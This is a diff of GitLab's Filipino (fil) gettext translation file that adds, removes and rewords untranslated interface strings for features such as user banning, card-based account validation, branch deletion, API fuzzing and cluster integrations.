@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fil\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:14\n"
+"PO-Revision-Date: 2021-06-01 20:26\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
